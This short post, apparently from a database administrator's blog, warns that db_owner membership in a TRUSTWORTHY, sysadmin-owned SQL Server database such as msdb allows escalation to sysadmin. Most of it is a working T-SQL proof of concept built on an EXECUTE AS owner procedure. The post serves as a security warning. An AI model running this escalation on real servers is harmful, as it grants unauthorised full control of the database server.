This doesn’t require much in the way discussion. This isn’t exactly a huge issue since I don’t think granting db_owner in msdb happens a whole lot, but still. Consider yourself warned.

I should add, this will work on any database that has trustworthy turned on and the dbo is a sysadmin. Oh, and my understanding is that msdb needs both an owner that is sysadmin (sa) and be trustworthy.

CREATE LOGIN ImpersonationTest WITH PASSWORD ='test', CHECK_POLICY = OFF;
GO
USE msdb
GO
CREATE USER ImpersonationTest FROM LOGIN ImpersonationTest;
GO
ALTER ROLE db_owner ADD MEMBER ImpersonationTest;
GO

Connect as ImpersonationTest

USE msdb
GO
CREATE PROCEDURE dbo.sysadminMe 
WITH EXECUTE AS owner
AS
ALTER SERVER ROLE sysadmin ADD MEMBER ImpersonationTest;
GO
EXEC dbo.sysadminMe;
GO
SELECT * FROM sys.login_token;